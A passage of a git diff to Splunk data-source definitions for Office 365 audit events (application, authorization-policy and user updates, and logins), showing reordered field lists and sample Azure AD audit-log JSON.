}\r\n ],\r\n \"Enabled\": true\r\n }\r\n ]\r\n }\r\n]", "OldValue": "[]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationPolicy", "OldValue": ""}], "ObjectId": "Company_0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Operation": "Set Company Information.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "Company_0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Type": 2}, {"ID": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Type": 2}, {"ID": "Directory", "Type": 2}, {"ID": "Emergency Information Technology Services LLC", "Type": 1}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "bpatel@rodsoto.onmicrosoft.com", "UserKey": "100320010208B5DC@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"} diff --git a/data_sources/o365_update_application_.yml b/data_sources/o365_update_application_.yml index 6efbb68a3b..2e94c1fb90 100644 --- a/data_sources/o365_update_application_.yml +++ b/data_sources/o365_update_application_.yml @@ -1,8 +1,8 @@ name: O365 Update application. id: 62159133-911b-4c63-9e30-a6a8c89195ca -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs updates made to applications in Microsoft 365, including changes to configurations, permissions, and role assignments. mitre_components: @@ -20,39 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -68,21 +46,42 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue + - obj_id - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user @@ -90,12 +89,18 @@ fields: - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-09-01T17:16:20", "Id": "c428c85c-4fa0-4e97-9033-6a76d9dee45d", "Operation": "Update application.", "OrganizationId": "58aee3b9-7433-46a0-b54e-2429487992a0", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@contoso.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "Application_a2d68f8b-ab9f-47ac-934f-b966c3ac134f", "UserId": "attacker@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"AppId\":\"95106c0e-3519-450e-8e38-7f326d873454\"}"}, {"Name": "extendedAuditEventCategory", "Value": "Application"}], "ModifiedProperties": [{"Name": "RequiredResourceAccess", "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"b633e1c5-b582-4048-a93e-9f11b44c7e96\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "RequiredResourceAccess", "OldValue": ""}], "Actor": [{"ID": "attacker@contoso.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "58aee3b9-7433-46a0-b54e-2429487992a0", "InterSystemsId": "6a0bc9d4-eb2d-4eb0-a524-601dac6914a6", "IntraSystemId": "a2d4d7c4-727c-401b-9e6c-70413a080855", "SupportTicketId": "", "Target": [{"ID": "Application_a2d68f8b-ab9f-47ac-934f-b966c3ac134f", "Type": 2}, {"ID": "a2d68f8b-ab9f-47ac-934f-b966c3ac134f", "Type": 2}, {"ID": "Application", "Type": 2}, {"ID": "TestApp2", "Type": 1}, {"ID": "95106c0e-3519-450e-8e38-7f326d873454", "Type": 2}], "TargetContextId": "58aee3b9-7433-46a0-b54e-2429487992a0"}' +example_log: | + {"CreationTime": "2024-01-30T15:24:59", "Id": "7c93e761-608c-4ef2-9bde-049f680d3b45", "Operation": "Update application.", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "Application_75924835-d844-4947-96ba-18074e997386", "UserId": "user30@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\",\"AppId\":\"867f0d29-0eab-4017-b691-c4713cc7d7b0\"}"}, {"Name": "extendedAuditEventCategory", "Value": "Application"}], "ModifiedProperties": [{"Name": "RequiredResourceAccess", "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000002-0000-0ff1-ce00-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"dc890d15-9560-4a4c-9b7f-a736ec74ec40\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"06b708a9-e830-4db3-a914-8e69da51d44f\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"ResourceAppId\": \"00000002-0000-0ff1-ce00-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"dc890d15-9560-4a4c-9b7f-a736ec74ec40\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n },\r\n {\r\n \"EntitlementId\": \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "RequiredResourceAccess", "OldValue": ""}], "Actor": [{"ID": "user30@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "InterSystemsId": "5e800cf4-1869-4a9c-81c1-55ffa81d7ec1", "IntraSystemId": "00000000-0000-0000-0000-000000000000", "SupportTicketId": "", "Target": [{"ID": "Application_75924835-d844-4947-96ba-18074e997386", "Type": 2}, {"ID": "75924835-d844-4947-96ba-18074e997386", "Type": 2}, {"ID": "Application", "Type": 2}, {"ID": "MaliciousApp", "Type": 1}, {"ID": "867f0d29-0eab-4017-b691-c4713cc7d7b0", "Type": 2}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4"} diff --git a/data_sources/o365_update_authorization_policy_.yml b/data_sources/o365_update_authorization_policy_.yml index e835ce51ad..8ce2e295bb 100644 --- a/data_sources/o365_update_authorization_policy_.yml +++ b/data_sources/o365_update_authorization_policy_.yml @@ -1,8 +1,8 @@ name: O365 Update authorization policy. id: d40e6a20-4d64-404c-8351-2caae8228d34 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes to authorization policies in Microsoft 365, including updates to access controls, permissions, and security settings. mitre_components: @@ -23,34 +23,12 @@ fields: - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - command + - CreationTime - date_hour - date_mday - date_minute @@ -64,17 +42,38 @@ fields: - dvc - event_type - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue + - obj_id - object + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user @@ -82,12 +81,18 @@ fields: - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-10-26T19:22:20", "Id": "83774e72-313f-4d1f-8609-7d0c7bb3b4ff", "Operation": "Update authorization policy.", "OrganizationId": "a417c578-c7ee-480d-a225-d48057e74df5", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "AuthorizationPolicy_24484114-1daa-4700-aaf7-44ee5cbe5678", "UserId": "user30@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Swagger-Codegen/1.0.0.0/csharp/msal\"}"}, {"Name": "extendedAuditEventCategory", "Value": "AuthorizationPolicy"}], "ModifiedProperties": [{"Name": "AllowUserConsentForRiskyApps", "NewValue": "[\r\n true\r\n]", "OldValue": "[\r\n false\r\n]"}, {"Name": "PermissionGrantPolicyIdsAssignedToDefaultUserRole", "NewValue": "[\r\n \"microsoft-user-default-legacy\"\r\n]", "OldValue": "[\r\n \"ManagePermissionGrantsForSelf.microsoft-user-default-legacy\"\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "AllowUserConsentForRiskyApps, PermissionGrantPolicyIdsAssignedToDefaultUserRole", "OldValue": ""}], "Actor": [{"ID": "user30@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "a417c578-c7ee-480d-a225-d48057e74df5", "InterSystemsId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "IntraSystemId": "92a0d051-2d0d-4608-9d09-6fca619764a2", "SupportTicketId": "", "Target": [{"ID": "AuthorizationPolicy_24484114-1daa-4700-aaf7-44ee5cbe5678", "Type": 2}, {"ID": "24484114-1daa-4700-aaf7-44ee5cbe5678", "Type": 2}, {"ID": "Other", "Type": 2}, {"ID": "Authorization Policy", "Type": 1}], "TargetContextId": "a417c578-c7ee-480d-a225-d48057e74df5"}' +example_log: | + {"CreationTime": "2023-10-26T19:22:20", "Id": "83774e72-313f-4d1f-8609-7d0c7bb3b4ff", "Operation": "Update authorization policy.", "OrganizationId": "a417c578-c7ee-480d-a225-d48057e74df5", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "AuthorizationPolicy_24484114-1daa-4700-aaf7-44ee5cbe5678", "UserId": "user30@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Swagger-Codegen/1.0.0.0/csharp/msal\"}"}, {"Name": "extendedAuditEventCategory", "Value": "AuthorizationPolicy"}], "ModifiedProperties": [{"Name": "AllowUserConsentForRiskyApps", "NewValue": "[\r\n true\r\n]", "OldValue": "[\r\n false\r\n]"}, {"Name": "PermissionGrantPolicyIdsAssignedToDefaultUserRole", "NewValue": "[\r\n \"microsoft-user-default-legacy\"\r\n]", "OldValue": "[\r\n \"ManagePermissionGrantsForSelf.microsoft-user-default-legacy\"\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "AllowUserConsentForRiskyApps, PermissionGrantPolicyIdsAssignedToDefaultUserRole", "OldValue": ""}], "Actor": [{"ID": "user30@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "a417c578-c7ee-480d-a225-d48057e74df5", "InterSystemsId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "IntraSystemId": "92a0d051-2d0d-4608-9d09-6fca619764a2", "SupportTicketId": "", "Target": [{"ID": "AuthorizationPolicy_24484114-1daa-4700-aaf7-44ee5cbe5678", "Type": 2}, {"ID": "24484114-1daa-4700-aaf7-44ee5cbe5678", "Type": 2}, {"ID": "Other", "Type": 2}, {"ID": "Authorization Policy", "Type": 1}], "TargetContextId": "a417c578-c7ee-480d-a225-d48057e74df5"} diff --git a/data_sources/o365_update_user_.yml b/data_sources/o365_update_user_.yml index 925465e2f7..2ef0b0f61a 100644 --- a/data_sources/o365_update_user_.yml +++ b/data_sources/o365_update_user_.yml @@ -1,8 +1,8 @@ name: O365 Update user. id: a05fd01e-34d9-4233-9089-11272416b531 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs updates to user account properties in Microsoft 365, including changes to roles, permissions, and profile information. mitre_components: @@ -20,39 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -68,33 +46,61 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - src_user - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user + - user_agent + - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-10-20T19:32:59", "Id": "d06df1c6-b3f2-4595-90b9-99b8f91811c3", "Operation": "Update user.", "OrganizationId": "99825d50-9544-4061-8e46-68923805cbf2", "RecordType": 8, "ResultStatus": "Success", "UserKey": "10032002CC029AE9@splunkresearch1.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "victim@splunkresearch1.onmicrosoft.com", "UserId": "victim@splunkresearch1.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"UserType\":\"Member\"}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "ModifiedProperties": [{"Name": "StrongAuthenticationMethod", "NewValue": "[\r\n {\r\n \"MethodType\": 7,\r\n \"Default\": false\r\n },\r\n {\r\n \"MethodType\": 6,\r\n \"Default\": true\r\n },\r\n {\r\n \"MethodType\": 0,\r\n \"Default\": false\r\n },\r\n {\r\n \"MethodType\": 5,\r\n \"Default\": false\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"MethodType\": 6,\r\n \"Default\": true\r\n },\r\n {\r\n \"MethodType\": 7,\r\n \"Default\": false\r\n }\r\n]"}, {"Name": "StrongAuthenticationRequirement", "NewValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 0,\r\n \"RememberDevicesNotIssuedBefore\": \"2023-10-19T16:11:43+00:00\"\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 1,\r\n \"RememberDevicesNotIssuedBefore\": \"2023-10-19T16:11:43+00:00\"\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationMethod, StrongAuthenticationRequirement", "OldValue": ""}, {"Name": "TargetId.UserType", "NewValue": "Member", "OldValue": ""}], "Actor": [{"ID": "victim@splunkresearch1.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}, {"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "99825d50-9544-4061-8e46-68923805cbf2", "InterSystemsId": "533a45c6-4f9a-4527-ad8d-e8fec5c7d8e4", "IntraSystemId": "32734207-053e-4ad1-87a3-4da1dfa69c58", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "victim@splunkresearch1.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "99825d50-9544-4061-8e46-68923805cbf2"}' +example_log: | + {"CreationTime": "2023-10-20T19:32:59", "Id": "d06df1c6-b3f2-4595-90b9-99b8f91811c3", "Operation": "Update user.", "OrganizationId": "99825d50-9544-4061-8e46-68923805cbf2", "RecordType": 8, "ResultStatus": "Success", "UserKey": "10032002CC029AE9@splunkresearch1.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "victim@splunkresearch1.onmicrosoft.com", "UserId": "victim@splunkresearch1.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"UserType\":\"Member\"}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "ModifiedProperties": [{"Name": "StrongAuthenticationMethod", "NewValue": "[\r\n {\r\n \"MethodType\": 7,\r\n \"Default\": false\r\n },\r\n {\r\n \"MethodType\": 6,\r\n \"Default\": true\r\n },\r\n {\r\n \"MethodType\": 0,\r\n \"Default\": false\r\n },\r\n {\r\n \"MethodType\": 5,\r\n \"Default\": false\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"MethodType\": 6,\r\n \"Default\": true\r\n },\r\n {\r\n \"MethodType\": 7,\r\n \"Default\": false\r\n }\r\n]"}, {"Name": "StrongAuthenticationRequirement", "NewValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 0,\r\n \"RememberDevicesNotIssuedBefore\": \"2023-10-19T16:11:43+00:00\"\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 1,\r\n \"RememberDevicesNotIssuedBefore\": \"2023-10-19T16:11:43+00:00\"\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationMethod, StrongAuthenticationRequirement", "OldValue": ""}, {"Name": "TargetId.UserType", "NewValue": "Member", "OldValue": ""}], "Actor": [{"ID": "victim@splunkresearch1.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}, {"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "99825d50-9544-4061-8e46-68923805cbf2", "InterSystemsId": "533a45c6-4f9a-4527-ad8d-e8fec5c7d8e4", "IntraSystemId": "32734207-053e-4ad1-87a3-4da1dfa69c58", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "victim@splunkresearch1.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "99825d50-9544-4061-8e46-68923805cbf2"} diff --git a/data_sources/o365_userloggedin.yml b/data_sources/o365_userloggedin.yml index 00c0f8fa06..c48255b068 100644 --- a/data_sources/o365_userloggedin.yml +++ b/data_sources/o365_userloggedin.yml @@ -1,8 +1,8 @@ name: O365 UserLoggedIn id: ed29c8c4-4053-419c-b133-16abf2a1c4c9 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs successful login events by users in Microsoft 365, including details about the user account, IP address, and session metadata. mitre_components: @@ -20,45 +20,21 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - ActorIpAddress - Actor{}.ID - Actor{}.Type + - app - ApplicationId + - authentication_method + - authentication_service - AzureActiveDirectoryEventType - BrowserType - ClientIP - - CreationTime - - DeviceProperties{}.Name - - DeviceProperties{}.Value - - ErrorNumber - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - OS - - ObjectId - - Operation - - OrganizationId - - RecordType - - RequestType - - ResultStatus - - ResultStatusDetail - - SessionId - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserAgent - - UserId - - UserKey - - UserType - - Version - - Workload - - app - - authentication_service - command + - CreationTime + - dataset_name - date_hour - date_mday - date_minute @@ -69,14 +45,33 @@ fields: - date_zone - dest - dest_name + - DeviceProperties{}.Name + - DeviceProperties{}.Value - dvc + - ErrorNumber - event_type + - eventtype + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId + - KeepMeSignedIn - linecount - - object + - ObjectId + - Operation + - OrganizationId + - OS - punct - record_type + - RecordType + - RequestType + - result + - ResultStatus + - ResultStatusDetail + - SessionId - signature - source - sourcetype @@ -84,17 +79,34 @@ fields: - src - src_ip - status + - SupportTicketId + - tag + - tag::action + - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user - user_agent + - user_id - user_type + - UserAgent + - UserAuthenticationMethod + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-12-04T20:42:05", "Id": "52d72a62-132b-487b-bb7f-c4c119f90700", "Operation": "UserLoggedIn", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 15, "ResultStatus": "Success", "UserKey": "2d2f9e2c-8350-4d98-852e-3f06daaf7185", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ClientIP": "54.68.231.63", "ObjectId": "00000002-0000-0ff1-ce00-000000000000", "UserId": "user15@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "ResultStatusDetail", "Value": "Success"}, {"Name": "UserAgent", "Value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}, {"Name": "RequestType", "Value": "OAuth2:Authorize"}], "ModifiedProperties": [], "Actor": [{"ID": "2d2f9e2c-8350-4d98-852e-3f06daaf7185", "Type": 0}, {"ID": "user15@splunkresearch.onmicrosoft.com", "Type": 5}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "ActorIpAddress": "54.68.231.63", "InterSystemsId": "6463a6ad-27ec-b311-dc52-ecdde38d9492", "IntraSystemId": "52d72a62-132b-487b-bb7f-c4c119f90700", "SupportTicketId": "", "Target": [{"ID": "00000002-0000-0ff1-ce00-000000000000", "Type": 0}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "ApplicationId": "00000002-0000-0ff1-ce00-000000000000", "DeviceProperties": [{"Name": "OS", "Value": "Windows10"}, {"Name": "BrowserType", "Value": "Firefox"}, {"Name": "SessionId", "Value": "15e27956-79a0-45b2-9d02-60f48349f692"}], "ErrorNumber": "0"}' +example_log: | + {"CreationTime": "2023-12-04T20:42:05", "Id": "52d72a62-132b-487b-bb7f-c4c119f90700", "Operation": "UserLoggedIn", "OrganizationId": 